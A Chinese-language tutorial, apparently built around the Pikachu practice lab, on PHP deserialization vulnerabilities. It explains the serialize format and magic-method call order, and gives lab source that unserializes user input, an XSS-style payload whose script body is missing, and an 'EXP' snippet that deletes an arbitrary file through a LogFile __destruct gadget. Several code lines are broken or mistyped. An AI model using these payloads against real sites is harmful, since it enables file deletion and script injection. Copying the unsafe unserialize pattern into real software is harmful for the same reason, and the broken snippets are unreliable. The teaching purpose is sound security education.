在理解这个漏洞前,首先搞清楚php中serialize()
,unserialize()
这两个函数。
(1)序列化serialize()
:就是把一个对象变成可以传输的字符串。比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表类
1:代表类名字长度为一个字符
S:类的名称
1:代表类里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
(2)反序列化unserialize()
:就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O":1:"S":1:{s:4:"test";s:7:"pikachu";});
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"";}
(1)使用payload:O:1:"S":1:{s:4:"test";s:29:"";}
(2)查看源码;
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "unser.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="大兄弟,来点劲爆点儿的!
";
}else{
$html.="{$unser->test}
";
}
}
?>
源码分析:简单来说,我们传入成功的反序列化字符串s
,就会执行到else
里面对其进行打印输出。
(3)构造反序列化payload。
class S{
var $test = "pikachu";
}
$f = new S();
$payload = "";
$f->test=$payload;
echo serialize($f);
?>
上述代码:f
实例化S
类,然后重写类中的S
,再对对象f进行序列化;序列化结果:O:1:"S":1:{s:4:"test";s:29:"";}
(3)执行payload。
(4)分析 {$unser->test}
页面会弹框的主要原因是$html.="
。而不是__construct()
函数,因为在unserialize()
时是不会自动调用。
常见的几个魔法函数:
__construct()
当一个对象创建时被调用,但在unserialize()时是不会自动调用的(构造函数)__destruct()
当一个对象销毁时被调用__toString()
当一个对象被当作一个字符串使用__sleep()
在对象在被序列化之前运行__wakeup
将在序列化之后立即被调用
class people{
public $name = "f1r3K0";
public $age = '18';
function __wakeup(){
echo "__wakeup()";
}
function __construct(){
echo "__consrtuct()";
}
function __destruct(){
echo "__destruct()";
}
function __toString(){
echo "__toString";
}
/*function __sleep(){
echo "__sleep";
}*/
}
$class = new people();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);
?>
运行结果如下:
从运行结果来看,我们可以看出unserialize函数是优先调用__wakeup()
再进行的反序列化字符串。同时,对于其他方法的调用顺序也一目了然了。(注意:这里将sleep
注释掉了,因为sleep
会在序列化的时候调用,因此执行sleep
方法就不会再执行序列以及之后的操作了。)
unserialize()
后会导致wakeup()
或destruct()
的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup()
或destruct()
中,从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子,代码如下:
//logfile.php删除临时日志文件
class LogFile {
//log文件名
public $filename = 'error.log';
//存储日志文件
public function LogData($text) {
echo 'Log some data:' . $text . '
';
file_put_contents($this->filename,$text,FILE_APPEND);
}
//Destructor删除日志文件
public function _destruct() {
echo '_destruct delete' . $this->filename . 'file.
';
unlink(dirname(_FILE_) . '/' . $this->filename);//删除当前目录下的filename这个文件
?>
//包含了'logfile.php'的主页面文件index.php
include 'logfile.php';
class User {
//属性
public $age = o;
public $name = '';
//调用函数来输出类中属性
public function PrintData() {
echo 'User' . $this->name . 'is' . $this->age . 'years old.
';}
}
$usr = unserialize($_GET['user']);
?>
index.php是一个有php序列化漏洞的主要文件,logfile.php的功能就是在临时日志文件被记录了之后调用 __destruct
方法来删除临时日志的一个php文件。
利用这个漏洞的方式就是,通过构造能够删除source.txt的序列化字符串,然后get
方式传入被反序列化函数,反序列化为对象,对象销毁后调用__destruct()
来删除source.txt。
漏洞利用EXP:
include 'logfile.php';
$obj = new LogFile();
$obj->filename = 'source.txt'; //source.txt为你想删除的文件
echo serialize($obj) . '<br /> ;
?>
通过['GET']
传入序列化字符串,调用反序列化函数来删除想要删除的文件。如图: